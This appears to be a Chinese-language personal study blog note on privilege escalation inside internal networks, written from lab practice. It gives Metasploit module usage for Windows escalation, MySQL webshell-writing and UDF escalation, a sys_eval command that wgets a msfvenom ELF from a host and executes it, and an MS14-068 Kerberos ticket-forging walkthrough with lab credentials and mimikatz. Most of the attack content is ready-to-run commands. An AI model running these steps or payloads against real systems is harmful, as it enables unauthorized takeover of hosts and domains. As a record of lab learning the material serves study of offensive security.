🗒️内网提权知识学习
2023-11-14
| 2023-11-28
字数 2026阅读时长 6 分钟
type
status
date
slug
summary
tags
category
icon
password

windows

windows的用户和组查看。
进入计算机管理即可,win + R: compmgmt.msc
命令:
查看所有用户和组:net user net localgroup
查看特定的详细信息:net user <用户名> net localgroup <组名>
域用户:net user /domain net group /domain
net user <用户名> /domain net group <组名> /domain
Powershell(看上去舒服):Get-LocalUser Get-LocalGroup
notion image

1.1本机查找补丁

命令:
  1. systeminfo
  1. wmic qfe wmic qfe get HotFixID,InstalledBy
    1. notion image

1.2msf查找补丁:

首先需要有一个meterpreter会话,并且知道它的会话ID (sessions查找)
use post/windows/gather/enum_patches set session 填入上方id run
notion image

1.3msf快速查找可利用的漏洞模块

use post/multi/recon/local_exploit_suggester set session $id#填写会话id run
notion image

2.windows溢出类漏洞提权思路

在线辅助提权

放入systeminfo的补丁信息即可看到可能存在利用的漏洞
notion image

exploit-db

线上站:exploit-db.com
kali命令:
searchsploit 搜索的话直接加相关信息就可以
-m, 复制一个漏洞到当前工作目录

github检索

17年之前使用这个
ms开头为微软发布漏洞号的开头
 
17年之后的参考这个
安装:pip3 install wesng
更新漏洞库: wes --update
命令使用:
systeminfo > systeminfo.txt
wes systeminfo.txt
会枚举所有漏洞(新),但大部分不存在公开利用的方式,关注exploit字段提供的现成漏洞模块 (自行辨别是否为病毒)
 

工具参考

exe可执行文件(烂大街容易被杀) cpp、c#源码(自行修改特征自己编译) 脚本化python 、powershell(shellcode集成在脚本中)
 

2.1windows服务配置问题

msf模块作用若以管理员身份运行该进程,则会创建一个新服务,若当前用户身份无权限创建服务,则会去匹配所有服务的权限是否有问题,通过枚举服务目录创建新应用或dll劫持的方式
use windows/local/service_permissions #查看不安全服务
设置session直接run/exploit
notion image
powshell脚本推荐:

2.2特权安装

如果windows的安装配置了始终以特权安装,则会存在提权
notion image
notion image
利用:
use exploit/windows/local/always_install_elevated
设置好meterpreter会话ID,直接run/exploit即可

捆绑安装包(已废弃)

每个程序和app正版都有hash值,只要修改hash就会改变。已经废弃

2.3可信路径

若一个服务的可执行文件路径中包含空格,且没有被双引号引起来则会产生提权问题(重点为用户后安装的服务),使用以下命令查找
wmic service get name,pathname|findstr /i /v "Windows"
notion image
msf利用模块:use exploit/windows/local/unquoted_service_path

2.4 计划任务

寻找图片中选中 “使用最高权限运行” 的任务
替换它的计划任务文件,用于administrator到system的提权

2.5自动安装配置文件

若管理员使用批处理的方式统一安装应用,可能会使用.xml配置文件统一安装,可能会包含用户名密 码,可选择后续爆破端口等方式获得权限(3389)
msf漏洞利用:use post/windows/gather/enum_unattend

linux

 

第三方组件提权

3.1 mysql写文件

三种方法:
通用于应用存在日志导出的配置生效且存在日志导出文件用户可自定义路径和后缀的场景下

导出webshell文件至web路径

查询参数secure_file_priv的值:
show variables like "%secure_file_priv%"
select @@secure_file_priv
若值为空,则可任意写入
若为web路径,则只能在web路径写入
若为null,不允许写入
命令:
此处使用into outfile
into dumpfile

普通日志导出

原理:
通过修改导出日志的路径,获取webshell
命令:

慢日志导出

慢日志:数据库执行过程中,有部分语句在进行过程中占用的资源过大,时间过长 数据库中的慢日志仅记录超出运行阈值的查询语句。
具体直接见命令即可:
命令:
notion image

3.2 udf提权

udf(user defined function)用户自定函数,win/lin均可使用,一般指动态链接库(.dll、.so), windows一般其为mysql的安装目录\lib\plugin
 
windows环境下mysql5.1以上,\lib\plugin\路径不存在需用户手动创建

原理理解

mysql的外连配置,navicat连接虚拟机kali的mysql
先配置mysql外连(我习惯使用navicat)
过程:在linux通过mysql -u root -p进入后输入俩条语句
GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'li' WITH GRANT OPTION; //第一个root表示用户名,%表示所有的电脑都可以连接,也可以设置某个ip地址运行连接,第二个root表示密码 flush privileges; //命令立即生效
 
然后修改/etc/mysql/mariadb.conf.d/50-server.cnf文件中的bind-address = 127.0.0.1 为 bind-address = 0.0.0.0
 
最后重启mysql即可生效。
 
数据库命令:
udf.so文件所在:/usr/share/metasploit-framework/data/exploits/mysql/
通过cp命令将它防止在mysql的插件目录:cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so /usr/lib/mysql/plugin/udf.so
一句话的执行效果:
notion image

简单的移交msf,cs

使用msfvenom生成elf木马。
然后在数据库命令行执行
select sys_eval("wget http://172.16.110.155:4444/test.elf &chmod +x test.elf & ./test.elf");
直接在命令行执行也可以。
 
没有公网,不能下载的话就直接写shell到web目录,然后通过webshell上传elf并执行,通过这种方式移交elf到msf,cs移交也是这种方式。

dll文件16进制编码再导入

这个直接使用windows测试即可
select hex(load_file('D:\\phpstudy_pro\\WWW\\udf.dll')) into dumpfile "D:\\phpstudy_pro\\WWW\\hex.txt"
下面的sql语句中的0x代表十六进制,后面的就是hex.txt的内容。
使用上面的sql命令在插件目录生成\MySQL5.7.26\\lib\\plugin\\udf.dll
然后再使用
create function sys_eval returns string soname 'udf.dll'; select sys_eval('whoami');
 
这种生成方式有问题.在windows下最后写入的udf.dll比原dll要大,无法使用。暂未解决

域提权

ms14-068

环境:win7 普通域用户 user: haha03 password:03.com.01
win2008 域管DC 192.168.245.134
域:08haha.com
 
实验开始:
klist #查询当前服务器的令牌 klist purge #清除当前服务器的令牌
 
进入win7,查看域和haha03的SID
命令:whoami /user
notion image
 
只需要在win7上使用net use建立连接(win2008的net use有无结果都行):
net use \\192.168.245.134
notion image
如果已有连接,生成票据时还是socket error错误。则删除连接重新建立
删除连接:net use \\192.168.245.134\IPC$ /del
 
生成票据(前提是建立连接):
参数解释:MS14-068.exe -u 域成员@域 -s SID -d 域 -p 域成员密码
MS14-068.exe -u haha03@08haha.com -s S-1-5-21-135210925-2819757170-3005984302-1128 -d 08haha.com -p 03.com.01
notion image
命令生成一个文件TGT_haha03@08haha.com.ccache
将它放入猕猴桃的同目录下,使用猕猴桃导入票据,票据路径即令牌路径
kerberos::ptc "令牌路径"
notion image
导入后使用klist进行查看(新cmd窗口),这个服务器路径下面用
notion image
这是导入的票据,通过psexec的指令连接
连接成功
notion image
 
  • 内网相关
  • py 10 写structs系列的poc横向移动
    Loading...